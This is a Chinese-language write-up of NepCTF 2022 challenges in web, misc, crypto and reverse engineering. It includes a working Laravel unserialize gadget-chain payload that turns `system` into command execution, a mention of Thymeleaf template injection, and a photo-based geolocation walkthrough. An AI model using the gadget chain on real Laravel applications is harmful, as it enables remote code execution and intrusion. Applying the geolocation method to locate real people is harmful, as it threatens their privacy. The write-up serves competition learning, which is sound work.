比赛简介
"NepCTF 2022"是由Nepnep联合站队主办的公益招新赛事,旨在以有代表性、有特色的题目培养新生网络安全能力。
比赛形式:个人解题赛
WEB
Just Kidding
根据信息泄露找到网站源码
看到hello
页面对h3
参数反序列化
class HelloController extends Controller
{
public function hello(\Illuminate\Http\Request $request){
$h3 = base64_decode($request->input("h3"));
unserialize($h3);
return "Welcome Nepctf! GL&HF";
}
}
继续跟踪到PendingBroadcast.php
的destruct()
方法
/**
* Handle the object's destruction.
*
* @return void
*/
public function __destruct()
{
$this->events->dispatch($this->event);
}
继续跟进到dispatchToQueue
方法, $command
和$this->queueResolver
均是可控的, 利用该方法中的call_user_func
方法来进行命令执行。
/**
* Dispatch a command to its appropriate handler behind a queue.
*
* @param mixed $command
* @return mixed
*
* @throws \RuntimeException
*/
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;
$queue = call_user_func($this->queueResolver, $connection);
if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}
if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}
return $this->pushCommandToQueue($queue, $command);
}
Payload:
<?php
namespace Illuminate\Broadcasting{
use Illuminate\Bus\Dispatcher;
use Illuminate\Foundation\Console\QueuedCommand;
class PendingBroadcast
{
protected $events;
protected $event;
public function __construct(){
$this->events=new Dispatcher();
$this->event=new QueuedCommand();
}
}
}
namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection="whoami";
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver="system";
}
}
namespace{
use Illuminate\Broadcasting\PendingBroadcast;
echo urlencode(serialize(new PendingBroadcast()));
}
Challenger
反编译源代码
发现 Thymeleaf 的模板注入命令执行
MISC
签到题
先把压缩包全解压开
import zipfile
import os
import time
path = 'D:\\zips\\'
init = '232.zip'
zip_path = ''
while True:
for root, dirs, files in os.walk(path):
if len(files) < 2:
zip_path = path + init
zip_file = zipfile.ZipFile(zip_path)
file_in = zip_file.namelist()[0]
zip_file.extract(file_in, path=path)
zip_path = path + file_in
print(zip_path)
用tshark把usb的数据提出来
tshark -r .\keyboard.pcap -T fields -e usbhid.data > out.txt
脚本计算,手动添加下划线即可
花花画画画花花
分解出以下文件
-a---- 2022/7/13 13:19 3516251 audio.mp3
-a---- 2022/7/13 13:19 133185 DB7630918123B2D811D50E3FD6C51B53.jpg
-a---- 2022/7/13 13:21 6165 wangxinling - (PolarPeak) [Hard].osu
尝试了音频隐写和图片隐写均无效果。
下载osu!查看谱面图,照抄flag即可。
少见的bbbbase
Jphide隐写,密码空,这里试了好几次爆破密码,结果居然是空 = =
Base58解码即可。
馅饼?陷阱!
是个社工题,给了两张图片问你好兄弟去哪家银行转账的。这题有点漏洞,其实可以考虑爆破了,应该再添加一些细节信息,比如哪个网点之类的。
首先图1:
比较明显的是东北饺子城,本来想结合图2的省份搜索,但是没有搜到。
关注到饺子城旁边那个建筑大门,依稀辨认出是XX市第一XXX。
开始以为是第一研究所,也没有检索到有用信息,后来想了想,感觉建筑风格不像,结合建筑风格,仔细看了看可能是幼儿园,这点后来为解题提供了关键思路。
图2
可以看到左上角的银行,应该就是要求这个银行的名字。
旁边如家酒店,连锁店太多了,这条线索直接不用尝试。
可以看下右下角车牌露出了琼,大概率猜测是在海南省,虽然不排除海南的车牌开去了其他省份,这里可以先记下。
本来想通过左边底商下面的大禾寿司店和美妆店定位到城市,但也没有找到相关信息。
尚德X茶这个字我也没认出来,我一直以为是凉茶。。。
然后中间偏右一点的最上方,看到了露出了一个中国水利的logo
根据以上信息,通过开源情报搜集,检索三亚市的某个地点很大程度吻合以上信息:
东北饺子城、第一幼儿园、水利大厦
马上去查了一下街景照片,果然是三亚市第一幼儿园
然后接着在附近找到了图2的位置,旁边的银行就是中国光大银行
Crypto
Signin
RSA结合中国剩余定理
Sage求解出c,计算即可
from Crypto.Util.number import long_to_bytes
import gmpy2
import sympy
n =
e = 65537
c_mod_p =
c_mod_q =
pp = gmpy2.iroot(n, 2)[0]
# print(pp)
p = sympy.prevprime(pp)
q = gmpy2.next_prime(p)
print('p =',p)
print('q =',q)
assert p*q == n
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
# sage
#
# p=
# q=
# c_mod_p=
# c_mod_q=
# x=crt(c_mod_p, c_mod_q, p, q)
# x
c =
m = pow(c, d, n)
print(long_to_bytes(m))
中学数学
P>>500 设为 c
q和p+c接近
所以pq和p(p+c) = pq + pc 接近
因此推测出p大概的值
可以确定p的248个16进制高位
再就是RSA的高位攻击,求解出p和q即可
import gmpy2
from gmpy2 import *
from Crypto.Util.number import *
e = 0x10001
n =
c =
pp = gmpy2.iroot(n,2)[0]
ac = pp * (pp>>500)
ppp = gmpy2.iroot((n-ac),2)[0]
print(hex(ppp))
# sage
# n=
# p4=0xa72571e3997753c2a461597dd4a97db67223ea6ef7430fd9c446ab705d9cdbe0f54fe6ba1b500badd2d574d38c0a7282a520c848e8b7536751c081a617216c85c45ea534c7fc032e7e71eb9a386cd962f0ef642108fa9e42fc66abe2e9ca53f1851978b8c4eaf4c994ef62fdffc8b50cc1e9300c3bf1b50e90c6079a
# e=0x10001
# pbits=1024
#
# kbits=pbits - p4.nbits()
# p4 = p4 << kbits
# PR.<x> = PolynomialRing(Zmod(n))
# f = x + p4
# roots = f.small_roots(X=2^kbits,beta=0.4)
# if roots:
# p= p4 + int(roots[0])
# print ("n",n)
# print ("p",p)
# print ("q",n/p)
#
n =
p =
q =
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))
RE
快来签到
使用结点视图查看,需要更改一下默认的结点数量上限